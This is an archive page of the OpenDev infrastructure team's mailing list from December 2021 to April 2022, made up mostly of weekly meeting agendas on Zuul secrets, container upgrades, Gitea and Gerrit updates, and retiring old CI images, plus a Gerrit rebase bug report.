286GB of disk. Do we need to backup/snapshot this or can we simply delete it and move on. * Open discussion

1 0

Skipping Tomorrow's (April 19, 2022) Team Meeting
by Clark Boylan 18 Apr '22

18 Apr '22

Hello everyone, Due to many of us being out with either holidays or errands I'll go ahead and cancel tomorrow's (April 19, 2022) meeting. If you have something worth discussing feel free to start a thread on this mailing list or join us in #opendev on OFTC and start a conversation there. Clark

1 0

Team Meeting Agenda for April 12, 2022
by Clark Boylan 11 Apr '22

11 Apr '22

We will meet with this agenda on April 12, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220412) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220412) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220412) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Scheduling project renames (clarkb 20220412) *** Penciled in April 15, 2022 we'll coordinate more as that date gets closer. ** Time for another git-review release (fungi 20220412) ** Time for another bindep release (clarkb 20220412) * Open discussion

1 0

Team Meeting Agenda for April 5, 2022
by Clark Boylan 04 Apr '22

04 Apr '22

The PTG is happening this week but we'll sneak a short meeting in. We will meet on April 5, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Virtual PTG is happening now. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220405) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220405) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220405) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Retiring opendev/gerrit repo (ianw 20220405) *** Decided to delete branches and then set HEAD content to explanation of why the content has gone away. ** Scheduling project renames (clarkb 20220405) *** Penciled in April 15, 2022 we'll coordinate more as that date gets closer. * Open discussion

1 0

Team Meeting Agenda for March 29, 2022
by Clark Boylan 28 Mar '22

28 Mar '22

We will meet with this agenda on March 29, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenStack "Yoga" release on Wednesday (tomorrow relative to this meeting) ** Virtual PTG next week. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220329) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220329) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Upgrading Gitea (clarkb 20220329) *** We have another Gitea update to apply. *** https://review.opendev.org/c/opendev/system-config/+/835307 ** Spring cleaning for old reviews? (frickler 20220329) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Retiring opendev/gerrit repo (ianw 20220329) *** Decided to delete branches and then set HEAD content to explanation of why the content has gone away. ** Scheduling project renames (clarkb 20220329) *** Penciled in April 15, 2022 we'll coordinate more as that date gets closer. * Open discussion

1 0

Regression in Gerrit regarding rebases from Gerrit UI
by Radosław Piliszek 22 Mar '22

22 Mar '22

Hi! It seems I am experiencing a regression in Gerrit regarding the rebase capability available from the Gerrit UI. Before, when a child patch (in a patch stack) had its parent patch modified, it was possible to quickly rebase on the current state of the parent patch via the rebase button. Now, Gerrit UI always claims "This change is up to date with its parent." and suggests rebasing on top of the branch or any other patch. Just reporting this issue to see if others also experience this behaviour or something broke on my side (however unlikely). -yoctozepto

2 2

Team Meeting Agenda for March 22, 2022
by Clark Boylan 21 Mar '22

21 Mar '22

We will meet with this agenda on March 22, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenStack "Yoga" release about a week away. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220322) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220322) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220322) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** Clarkb has been looking at opendev/system-config changes **** Many old changes have been abandoned: https://review.opendev.org/q/project:opendev/system-config+status:abandoned **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Retiring opendev/gerrit repo (ianw 20220322) *** Had some discussion bit inconclusive *** Delete branches? Merge retirement change? *** Want to ensure this repo falls out of search engines ** Scheduling project renames (clarkb 20220322) *** We have a request to rename a repo. Should schedule renames for some time after the OpenStack Release and PTG? * Open discussion

1 0

Infra Team Meeting Agenda for March 15, 2022
by Clark Boylan 14 Mar '22

14 Mar '22

Hello, We will meet with this agenda on March 15, 2022 at 19:00 UTC in #opendev-meeting. Note that for many of us in North America the DST time change happened over the weekend and the meeting time may have shifted relative to your local timezone. == Agenda for next meeting == * Announcements ** OpenStack is a couple weeks away from releasing "Yoga". * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220315) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220315) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220315) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** https://review.opendev.org/c/openstack/project-config/+/831837 Finalize repo retirements. *** Next up looking at system-config. ** Gitea 1.16 (clarkb 20220315) *** https://review.opendev.org/c/opendev/system-config/+/828184 Change to upgrade to 1.16.x when we are ready. *** There are changes to how docker container processes are started. In particular change log calls out this may affect ssh. We update our testing to push content via ssh to simulate gerrit replication to cover this. ** Backup server pruning (clarkb 20220315) *** One of our backup servers needs to be pruned for disk space reasons. * Open discussion

1 0

Team Meeting Agenda for March 1, 2022
by Clark Boylan 28 Feb '22

28 Feb '22

We will meet with this agenda March 1, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** Skip meeting next week (March 8, 2022) due to travel. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220301) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220301) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220301) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** https://etherpad.opendev.org/p/opendev-repo-retirements List of repos to retire. Please review for any that are inappropriate to remove. *** https://review.opendev.org/q/topic:retirement+status:open Changes to retire all unused the repos. *** Once the above changes land we'll abandon related changes and then remove the repos from zuul entirely. ** Gitea 1.16 (clarkb 20220301) *** https://review.opendev.org/c/opendev/system-config/+/828184 Change to upgrade to 1.16.x when we are ready. *** Bug fixes for diffs will be in 1.16.3 as well as some dependency updates. Probably worth waiting for 1.16.3. *** There are changes to how docker container processes are started. In particular change log calls out this may affect ssh. We update our testing to push content via ssh to simulate gerrit replication to cover this. ** Rocky Linux 8 Images (clarkb 20220301) *** Need to update DIB in our nodepool images https://review.opendev.org/c/zuul/nodepool/+/831108 ** zuul-registry bugs affecting system-config (clarkb 20220301) *** There are issues with concurrent uploads to zuul-registry. We notice them when making updates to Gerrit because we build multiple images with shared layers. *** https://review.opendev.org/c/zuul/zuul-registry/+/831235 should hopefully address these problems in zuul-registry. * Open discussion

1 0

Team Meeting Agenda for February 22, 2022
by Clark Boylan 21 Feb '22

21 Feb '22

== Agenda for next meeting == * Announcements ** Service Coordinator election is over. Clarkb was the only nomination. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220215) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220215) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220222) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** https://etherpad.opendev.org/p/opendev-repo-retirements List of repos to retire. Please review for any that are inappropriate to remove. *** https://review.opendev.org/q/topic:retirement+status:open Changes to retire all unused the repos. *** Once the above changes land we'll abandon related changes and then remove the repos from zuul entirely. ** Gitea 1.16.1 (clarkb 20220222) *** https://review.opendev.org/c/opendev/system-config/+/828184 Change to upgrade to 1.16.1 when we are ready *** https://104.130.74.7:3081/opendev/system-config Test site via held node here *** There are changes to how docker container processes are started. In particular change log calls out this may affect ssh. We update our testing to push content via ssh to simulate gerrit replication to cover this. ** Gerrit gitea weblinks (clarkb 20220222) *** Gerrit now links to gitea ** Rocky Linux 8 Images (clarkb 20220222) *** Need EPEL support in DIB for this https://review.opendev.org/c/openstack/diskimage-builder/+/830278 * Open discussion

1 0

Service Coordinator Election Nominations
by Clark Boylan 16 Feb '22

16 Feb '22

Hello everyone, I've noticed that while I brought up the planned nomination period of January 25, 2022 to February 8, 2022 for our Service Coordinator election in our meeting agendas, and the meetings themselves; I never sent a proper announcement to the mailing list about this. We discussed this in today's meeting and there were no objections to extending the nomination period to 23:59 UTC February 15, 2022. This way everything is formally announced and anyone interested has time to sign up. Consider this the official call for nominations. You've got a week to put your name in the hat if you'd like to give the Service Coordinator hat a go. If we have more than one nomination at that point we'll figure out an election process that should run for a week. If we end up with one nomination that individual will win by default. Looking at the 2022 calendar for the next election: we should plan to have nominations from August 2 - 16, 2022. Then have an election the week after if necessary. Clark

2 2

Infra Team Meeting Agenda for February 15, 2022
by Clark Boylan 14 Feb '22

14 Feb '22

We will meet Tuesday, February 15, 2022 at 19:00 UTC in #opendev-meeting with this agenda: * Announcements ** Service Coordinator nomination time has begun. You have until February 15, 2022 UTC end of day. That is today. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220215) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220215) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220215) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** https://review.opendev.org/c/opendev/system-config/+/829115 Removes fedora 34 mirror content ** Spring cleaning for old reviews? (frickler 20220215) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** https://etherpad.opendev.org/p/opendev-repo-retirements List of repos to retire. Please review for any that are inappropriate to remove. *** https://review.opendev.org/c/opendev/system-config/+/829119 Removes unused repos from integration testing. *** https://review.opendev.org/c/openstack/project-config/+/829121 Sets noop jobs on unused repos so that they can be retired. ** Gitea 1.16.1 (clarkb 20220215) *** https://review.opendev.org/c/opendev/system-config/+/828184 Change to upgrade to 1.16.1 when we are ready *** https://104.130.74.7:3081/opendev/system-config Test site via held node here *** There are changes to how docker container processes are started. In particular change log calls out this may affect ssh. We update our testing to push content via ssh to simulate gerrit replication to cover this. ** Gerrit gitea weblinks (clarkb 20220215) *** Fixes in progress upstream **** https://gerrit-review.googlesource.com/c/gerrit/+/329279 **** https://gerrit-review.googlesource.com/c/plugins/gitiles/+/330361 *** Not sure why the bazel test runs fail complaining about java runtimes. This happens for me too on the gerrit repo but only happens to gitiles upstream (not gerrit). * Open discussion

1 0

Team Meeting Agenda for February 8, 2022
by Clark Boylan 07 Feb '22

07 Feb '22

We will meet with this agenda on February 8, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenInfra Summit CFP needs your input: https://openinfra.dev/summit/ Tomorrow (the 9th) is the last day to get your entries in. ** Service Coordinator nomination time is ending. You have until February 8, 2022. That is today. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220208) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220208) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220208) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** CentOS 8 is now gone. Any progress on Fedora 34 removal? ** Spring cleaning for old reviews? (frickler 20220208) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** https://etherpad.opendev.org/p/opendev-repo-retirements List of repos to retire. Please review for any that are inappropriate to remove. ** Gerrit mergeabilityComputationBehavior (frickler 20220127) *** https://gerrit-documentation.storage.googleapis.com/Documentation/3.5.0/con… *** Frickler volunteered to write a change for this. * Open discussion

1 0

Team Meeting Agenda for February 1, 2022
by Clark Boylan 31 Jan '22

31 Jan '22

We will meet at 19:00 UTC on February 1, 2022 in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** OpenInfra Summit CFP needs your input: https://openinfra.dev/summit/ ** Service Coordinator nomination time has begun. You have until February 8, 2022 * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220201) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220201) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220201) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** Changes to remove CentOS 8 are up. Are we ready to go ahead with this? In order they should be merged: **** https://review.opendev.org/c/openstack/project-config/+/827183 **** https://review.opendev.org/c/opendev/base-jobs/+/827181 **** https://review.opendev.org/c/openstack/project-config/+/827184 **** https://review.opendev.org/c/opendev/system-config/+/827186 ** Spring cleaning for old reviews? (frickler 20220201) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** Do we see value in keeping those or could we run some script to auto-abandon those with a helpful comment? *** Neutron has a script that could be easily adopted for this task **** https://opendev.org/openstack/neutron/src/branch/master/tools/abandon_old_r… *** Clarkb to produce a list of repos that can be retired. We can then retire the repos and abandon their open reviews as step 0 ** Gerrit mergeabilityComputationBehavior (frickler 20220127) *** https://gerrit-documentation.storage.googleapis.com/Documentation/3.5.0/con… *** This was disabled while upgrading to 3.4.0 since the default is "NEVER" *** We could set the option to "API_REF_UPDATED_AND_CHANGE_REINDEX" to restore the previous behavior *** It doesn't look like we have to have any concerns in regard to CPU load http://cacti.openstack.org/cacti/graph.php?action=view&local_graph_id=70348… ** Gerrit bugs/issues that we are tracking (clarkb 20220201) *** ACLs for pushing signed tags are ignored. Should be fixed in 3.4 now. https://review.opendev.org/c/opendev/system-config/+/827153 will update our images. *** URL substititions for gitweb urls does not properly include the hash which is needed by gitea. https://bugs.chromium.org/p/gerrit/issues/detail?id=15589 *** Backlog of ssh git pulls against Gerrit slows Zuul down. https://bugs.chromium.org/p/gerrit/issues/detail?id=15649 * Open discussion

1 0

Infra Team Meeting Agenda for January 25, 2022
by Clark Boylan 24 Jan '22

24 Jan '22

Hello, We will meet with this agenda on January 25, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenInfra Summit CFP and programming committee need your input: https://openinfra.dev/summit/ ** Service Coordinator nomination time has begun. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220125) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220125) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Buster to Bullseye updates are complete. *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220125) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** Plan to remove CentOS 8 from Nodepool and Zuul first thing next week. ** Spring cleaning for old reviews? (frickler 20220125) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** Do we see value in keeping those or could we run some script to auto-abandon those with a helpful comment? *** Neutron has a script that could be easily adopted for this task **** https://opendev.org/openstack/neutron/src/branch/master/tools/abandon_old_r… *** (clarkb) Considering that we had a big shift in approach to config management about 2 years ago I would say abandoning anything prior to that is probably fine. I have a change or two since then that might be good to keep around. Maybe we start at 2 years and see what that looks like? We can always restore changes too. ** Updating Grafana (clarkb 20220125) *** https://review.opendev.org/c/opendev/grafyaml/+/825990 needed to fix api use against newer grafana *** https://review.opendev.org/c/opendev/system-config/+/825410 update to latest grafana * Open discussion

1 0

Team Meeting Agenda for January 18, 2022
by Clark Boylan 17 Jan '22

17 Jan '22

We will meet January 18, 2022 at 19:00 UTC in #opendev-meeting with this agenda: * Announcements ** OpenInfra Summit CFP and programming committee need your input: https://openinfra.dev/summit/ * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220118) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220118) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Buster to Bullseye updates are complete. *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220118) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** Tumbleweed has been removed *** CentOS 8 removal process has begun. Gave projects until the end of the month before we remove the nodeset and nodepool configs. ** Scheduling Gerrit Project Renames (clarkb 20220118) *** Target January 24 around 22:00 UTC? ** Spring cleaning for old reviews? (frickler 20220113) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old *** Do we see value in keeping those or could we run some script to auto-abandon those with a helpful comment? *** Neutron has a script that could be easily adopted for this task **** https://opendev.org/openstack/neutron/src/branch/master/tools/abandon_old_r… * Open discussion

1 0

Re: [service-announce] Changes to OpenDev's stable of CI images
by Clark Boylan 11 Jan '22

11 Jan '22

On Tue, Dec 7, 2021, at 8:38 AM, Clark Boylan wrote: > Hello, > > CentOS 8 reaches end of life on December 31, 2021. This means now is > the time for you to convert jobs to CentOS 8|9 Stream or some other > appropriate platform. The OpenDev team will plan to remove CentOS 8 > images and mirrors from our infrastructure in early January, hopefully > by January 14, 2022. Again, please update your jobs now so that you are > prepared. These changes are necessary as the distro will no longer be > supported, and there is no way for us to ensure that the images will be > secure or that we'll even be able to build them. > > We've also got Fedora 35 lined up to replace Fedora 34. Due to Fedora's > short support window we typically swap out one Fedora release with the > next when the next is ready. If you are using the fedora-34 label > please update it to fedora-35. If you are using fedora-latest we'll be > updating that to use fedora-35 and the swap will happen automatically > for you. We expect to have Fedora 34 cleaned up by the end of the year. > > Additionally both OpenSUSE 15 and Tumbleweed could use some help. For > OpenSUSE 15 we need to update it to 15.3 as well as updating the > associated mirrors if we plan to keep it around. I'm happy to keep this > image around if we can get volunteers in the community that can help > with that. If there isn't interest in modernizing the OpenSUSE 15 > images I'd like to propose we clean them up in January along with the > CentOS 8 images. For Tumbleweed, the images haven't received much use > or attention. I'd like to propose that we simply retire this image and > clean it up. We had thought it might be a good platform for monitoring > upcoming changes in the Linux world, but the reality is that only works > if you've got people active caring for it and adjusting to those > changes. The Tumbleweed cleanup will likely begin before the end of the > year. > > Finally, our Gentoo images bounce between being buildable and broken > with more time spent being broken than not. I'd like to propose that > this image also get cleaned up in the near future. Again, if there is > interest in the community for keeping this alive I think we can make > that happen. But as is this image is not in a sustainable place and it > would be better for us to stop running jobs on it. > > Let us know if you have any questions or comments, To followup on this we have found volunteers for Gentoo and OpenSUSE Leap 15 maintenance. This means those images are not immediately up for removal. However, if those volunteers find they aren't sustainable for one reason or another they may still be removed. OpenSUSE Tumbleweed has been removed and as far as we could tell nothing was using it when we removed it. Shouldn't create any problems. CentOS 8 removal has begun with a number of changes [0] to start removing some of the infrastructure bits (like wheel mirrors and openafs packages) that supported it. I will be reaching out to OpenStack as well as they seem to be the primary users of the centos-8 label. Hopefully we'll be able to remove all of the existing centos-8 jobs cleanly, but if not then we'll wait until a reasonable amount of time and cleanup has passed (a couple of weeks?) before force merging the removal of the nodeset and label from our zuul configs. Fedora 34 cleanup is still in progress, but should pick up again as people return from holiday. [0] https://review.opendev.org/q/topic:%22remove-centos-8%22+status:open

2 1

Infra Team Meeting Agenda for January 11, 2022
by Clark Boylan 10 Jan '22

10 Jan '22

Our first meeting of the year will be held January 11, 2022 at 19:00 UTC in #opendev-meeting. I expect it will still be pretty quiet due to holidays so we might get through it quickly. This is our agenda: == Agenda for next meeting == * Announcements ** OpenInfra Foundation Board Election happening this week. Don't forget to vote. * Actions from last meeting * Specs Review * Topics ** ansible-lint failures (clarkb 20220111) *** An unpinned dep (rich) in old ansible-lint has updated and broken ansible-lint. Need to pin rich or update ansible-lint. *** clarkb has a number of these changes up for review now. topic:ansible-lint ** Improving OpenDev's CD throughput (clarkb 20220111) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220111) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Updating Buster images to Bullseye **** https://review.opendev.org/q/hashtag:%22bullseye-image-update%22+status:open The uwsgi image update in particular could use review. *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning our Nodepool images (clarkb 20220111) *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** CentOS 8 and OpenSUSE Tumbleweed need cleanup this month. ** Scheduling Gerrit Project Renames (clarkb 20220111) * Open discussion

1 0

No Team Meeting December 28, 2021
by Clark Boylan 27 Dec '21

27 Dec '21

Just a heads up that things have been quiet (as expected) the last week. I think we can go ahead and cancel tomorrow's meeting. See you all in a couple weeks as we return to normal scheduling in the new year. Clark

1 0

Team Meeting Agenda for December 14, 2021
by Clark Boylan 13 Dec '21

13 Dec '21

We will meet with this agenda on December 14, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** Meetings Cancelled December 21, 2021 and January 4, 2022 for Holidays ** We may have a meeting on December 28, 2021 depending on who is around. * Actions from last meeting * Specs Review * Topics ** Log4j vulnerability fun (clarkb 20211214) *** Discuss what we've learned about this bug and its impact. ** Improving OpenDev's CD throughput (clarkb 20211214) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? ** Container maintenance (clarkb 20211214) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Updating Buster images to Bullseye *** Running container with dedicated users. Next up all the ircbots. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Adding a lists.openinfra.dev mailman site (fungi 20211214) *** Ansible newlist invocations still struggling *** Stack at https://review.opendev.org/c/opendev/system-config/+/820900/ should correct this. ** Spring cleaning our Nodepool images (clarkb 20211214) *** CentOS 8, Fedora 34, Gentoo, OpenSUSE 15, and OpenSUSE tumbleweed are either EOL, going EOL, or lacking care necessary to keep building up to date images. *** http://lists.opendev.org/pipermail/service-announce/2021-December/000029.ht… cleanup announcement *** Will need volunteers for the work. Probably ok if this proceeds a little slower than advertised. * Open discussion

1 0

Re: [service-announce] Changes to OpenDev's stable of CI images
by Jack Morgan 07 Dec '21

07 Dec '21

Hey Clark, I'd like to help out / volunteer on whatever needs to be done. It doesn't have to be specific to image clean up. I'm not sure how to get started so thought we could meet for coffee but open to other suggestions. On 12/7/21 08:38, Clark Boylan wrote: > Hello, > > CentOS 8 reaches end of life on December 31, 2021. This means now is the time for you to convert jobs to CentOS 8|9 Stream or some other appropriate platform. The OpenDev team will plan to remove CentOS 8 images and mirrors from our infrastructure in early January, hopefully by January 14, 2022. Again, please update your jobs now so that you are prepared. These changes are necessary as the distro will no longer be supported, and there is no way for us to ensure that the images will be secure or that we'll even be able to build them. > > We've also got Fedora 35 lined up to replace Fedora 34. Due to Fedora's short support window we typically swap out one Fedora release with the next when the next is ready. If you are using the fedora-34 label please update it to fedora-35. If you are using fedora-latest we'll be updating that to use fedora-35 and the swap will happen automatically for you. We expect to have Fedora 34 cleaned up by the end of the year. > > Additionally both OpenSUSE 15 and Tumbleweed could use some help. For OpenSUSE 15 we need to update it to 15.3 as well as updating the associated mirrors if we plan to keep it around. I'm happy to keep this image around if we can get volunteers in the community that can help with that. If there isn't interest in modernizing the OpenSUSE 15 images I'd like to propose we clean them up in January along with the CentOS 8 images. For Tumbleweed, the images haven't received much use or attention. I'd like to propose that we simply retire this image and clean it up. We had thought it might be a good platform for monitoring upcoming changes in the Linux world, but the reality is that only works if you've got people active caring for it and adjusting to those changes. The Tumbleweed cleanup will likely begin before the end of the year. > > Finally, our Gentoo images bounce between being buildable and broken with more time spent being broken than not. I'd like to propose that this image also get cleaned up in the near future. Again, if there is interest in the community for keeping this alive I think we can make that happen. But as is this image is not in a sustainable place and it would be better for us to stop running jobs on it. Thanks, -- Jack Morgan

2 1

Parallel production jobs changes
